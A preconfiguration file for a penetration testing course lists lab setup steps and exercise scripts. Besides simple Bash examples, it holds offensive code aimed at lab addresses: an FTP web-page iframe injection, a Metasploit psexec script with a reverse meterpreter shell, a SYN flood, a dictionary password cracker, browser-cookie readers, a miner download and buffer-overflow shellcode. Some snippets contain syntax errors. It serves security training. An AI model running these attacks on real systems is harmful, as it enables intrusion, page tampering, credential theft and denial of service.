

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



Preconfiguration File

This file contains details of the software and virtual machine configuration changes required to support *the Penetration Testing Essential Training* course. Each requirement is noted in the relevant course module, but you may wish to preload the software to avoid having to wait when working through each video. All software is downloaded to and installed in Windows unless otherwise noted.

Video Title	Item	Details
02_06 Extending PowerShell with Nishang	Install Nishang into Windows	Download the file nishang-master.zip from https://github.com/samratashok/nishang and extract its contents into the folder C:\nishang
03_01 Refreshing your Bash skills	hwtest.sh	<pre>#!/bin/bash str="Hello World" echo \$str</pre>
	argtest.sh	<pre>#!/bin/bash echo \$# echo \$1 \$2</pre>
	vartest.sh	<pre>#!/bin/bash num="\$1" num2=17 if [\$num1 -ge \$num2] then echo "\$num1 is greater than or equal to \$num2" else echo "\$num2 is greater than \$num1" fi echo "sum is" \$((\$num1+\$num2))</pre>

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



	readtest.sh	<pre>#!/bin/bash echo "What is your name ?" read name echo "Hello \$name" read -p "Remind me, what is your name again? " name echo "Hello again \$name"</pre>
03_02 Control the flow in a script	fortest.sh	<pre>#!/bin/bash names=('Peter' 'Paul' 'Mary' 'David' 'Joe') x=\${#names[@]} for ((i=0; i<\$x; i++)) do echo \${names[\$i]} done</pre>
	wutest.sh	<pre>#!/bin/bash runs=6 while [\$runs -gt 0] do echo Run down at number \$runs let runs=runs-1 done until [\$runs -gt 6] do echo Run up at number \$runs let runs=runs+1 done</pre>

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



	ifttest.sh	<pre>if [-d \$1] then echo \$1+“ exists” ls \$1 else echo \$1+” does not exist” fi</pre>
03_03 Using functions in Bash	fnctest.sh	<pre>#!/bin/bash function speak { if [\$1 = “Paris”] then echo “Language used is French” elif [\$1 = “Hanoi”] then echo “Language used is Vietnamese, with a little French and English” else echo “Language used is English, of one form or another!” fi } PS3=”>” echo “Let’s check the language” select city in “Paris” “Melbourne” “Toronto” “Seattle” “”Hanoi” “exit” do if [\$city = “exit”] then break fi</pre>

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



	fnctest.sh	<pre>case \$city in Paris) echo "Going to Paris";; Melbourne) echo "Going to Melbourne";; Toronto) echo "Going to Toronto";; Seattle) echo "Going to Seattle";; Hanoi) echo "Going to Hanoi";; esac speak \$city done echo "Bye!"</pre>
04_02 Use the system functions	getpass.py	<pre>Import sys Import crypt passfile=open('dict.txt','r') for word in passfile.readlines(): if (crypt.crypt(word.strip(),"MS")==sys.argv[1]): print "password is "+word</pre>
04_03 Use networking functions	banftp.py	<pre>import socket socket.setdefaulttimeout(1) s = socket.socket() s.connect_ex(("10.0.2.8",21)) banner = s.recv(1024) s.close() print banner</pre>

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



	portscan.py	<pre>import sys import socket try: for i in range(1:1024): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) if s.connect_ex((sys.argv[1],i))==0: print sys.argv[1]+":"+str(i)+"open" s.close() except Exception, e: pass</pre>
04_04 Working with websites	useftp.py	<pre>import ftplib ftp=ftplib.FTP('10.0.2.8') ftp.login('msfadmin','msfadmin') ftp.cwd('/var/www') ftp.dir()</pre>

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



	webinject.py	<pre>import ftplib ftp=ftplib.FTP('10.0.2.8') ftp.login('msfadmin','msfadmin') ftp.cwd('/var/www/myacc') f=open('index.tmp','w') ftp.retrlines('RETR myacc.html',f.write) f.write('<iframe src="http://10.0.2.8/myacc/gotcha"></iframe>') f.close() f.open('index.tmp','r') ftp.storlines('STOR myacc.html',f) f.close ftp.close() print "Accounts page redirected to Gotcha site"</pre>
--	--------------	--

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



04_05 Driving Metasploit through Python	slumber.py	<pre>import os import sys def shell(metaFile) metaFile.write('use exploit/multi/handler\n') metaFile.write('set payload windows/meterpreter/reverse_tcp\n') metaFile.write('set LHOST 10.0.2.11\n') metaFile.write('set LPORT 3000\n') metaFile.write('exploit -j z\n') metaFile.write('setg DisablePayloadHandler 1\n') def exploit(metaFile) metaFile.write('use exploit/windows/smb/psexec\n') metaFile.write('set RHOST 10.0.2.6\n') metaFile.write('set SMBUser Administrator\n') metaFile.write('set SMBPass admin\n') metaFile.write('set payload windows/meterpreter/reverse_tcp\n') metaFile.write('set LHOST 10.0.2.11\n') metaFile.write('set LPORT 3000\n') metaFile.write('exploit -j z\n') metafile = open('meta.rc','w') shell(metaFile) exploit(metaFile) metaFile.close() os.system('msfconsole -r meta.rc')</pre>
---	------------	---

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



04_06 Accessing SQLite databases	squeal.py	<pre>import sqlite3 cs=sqlite3.connect('Cookies') c=cs.cursor() c.execute('SELECT tbl_name FROM sqlite_master WHERE type="table";') for row in c: print str(row)</pre>
	sqcol.py	<pre>import sqlite3 cs=sqlite3.connect('Cookies') c=cs.execute('SELECT * FROM cookies;') for row in c.description: print row[0]</pre>
	tablist.py	<pre>import sqlite3 cs=sqlite3.connect('Cookies') c=cs.cursor() c.execute('SELECT host_key, name FROM cookies;') for row in c: print row[1].ljust(16)+' '+row[1]</pre>
04_07 Using Scapy to work with packets	spack.py	<pre>from scapy.all import * def flood(src,tgt): for port in range(1024,65536): send(IP(src=src, dst=tgt) /TCP(sport=port, dport=4444, flags="S")) source="10.0.2.11" target="10.0.2.8" flood(source, target)</pre>
05_02 Fuzzing with Spike	Vulnserver into Windows	Download and extract the Vulnerable server from https://github.com/stephenbradshaw/vulnserver into c:\vulnserver

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



06_04 Fingerprint web servers	Install HTTPRecon into Windows	Download and unzip from http://www.computec.ch/projekte/httprecon/?s=download into c:\httprecon
	Install HTTPPrint into Windows	Download and unzip from net-square.com/httpprint.html into c:\httpprint
07_02 Understanding code injection	Cminer into Kali	wget https://github.com/EgeBalci/Cminer/raw/master/Cminer chmod +x Cminer
	LordPE into Windows	Download and extract from https://appdb.winehq.org/objectManager.php?sClass=version&iid=14290 into C:\LordPE
07_03 Understanding buffer overflows	buffalo.asm	<pre>.386 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\include\kernel32.inc include \masm32\include\user32.inc includelib \masm32\lib\kernel32.lib includelib \masm32\lib\user32.lib .data Packet db "Malcolm",0 ; Packet db "0AAAAAAAA1AAAAAAAA2AAAAAAAA3AA" ; exploit dword 00403024h ; payload BYTE 6Ah,0,68h,4Bh,30h,40h,00h,68h,38h, ; 30h,40h,00h,6Ah,00h,68h,1Dh,10h,40h,00h,0C3h, ; 49h,27h,76h,65h,20h,62h,65h,65h,6Eh,20h,42h,75h, ; 66h,66h,61h,6Ch,6Fh,27h,64h,21h,00h Hello db "Hello <name here>", 0</pre>

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



	buffalo.asm	<pre>.code start: push offset Hello push offset Packet call sco invoke MessageBox, NULL, addr Hello, addr Hello, MB_OK invoke ExitProcess, 0 sco proc mov ebp,esp mov ebx, [ebp+4] ; name parameter sub sp, 32 ; make room for packet data mov edx, esp ; start of name, for saving now mov ecx, esp ; start of name, for reading later nx: mov al, byte ptr [ebx] ; let's move the packet data into local mov byte ptr [edx], al ; character at a time inc ebx inc edx cmp al,0 ; until we find the zero delimiter jnz nx mov edi, [ebp+8] ; Welcome message add edi, 6 ; position to where we put name s1: mov al, byte ptr [ecx] ; get start of name from local mov byte ptr [edi], al ; store it in welcome message inc edi inc ecx cmp al,0 ; keep going until zero delimiter jnz s1</pre>
--	-------------	--

Penetration Testing Essential Training (2021 Revision)

with Malcolm Shore



	buffalo.asm	<pre>add sp, 32 ; release local storage ret 8 ; release call parameter sco endp end start</pre>
--	-------------	---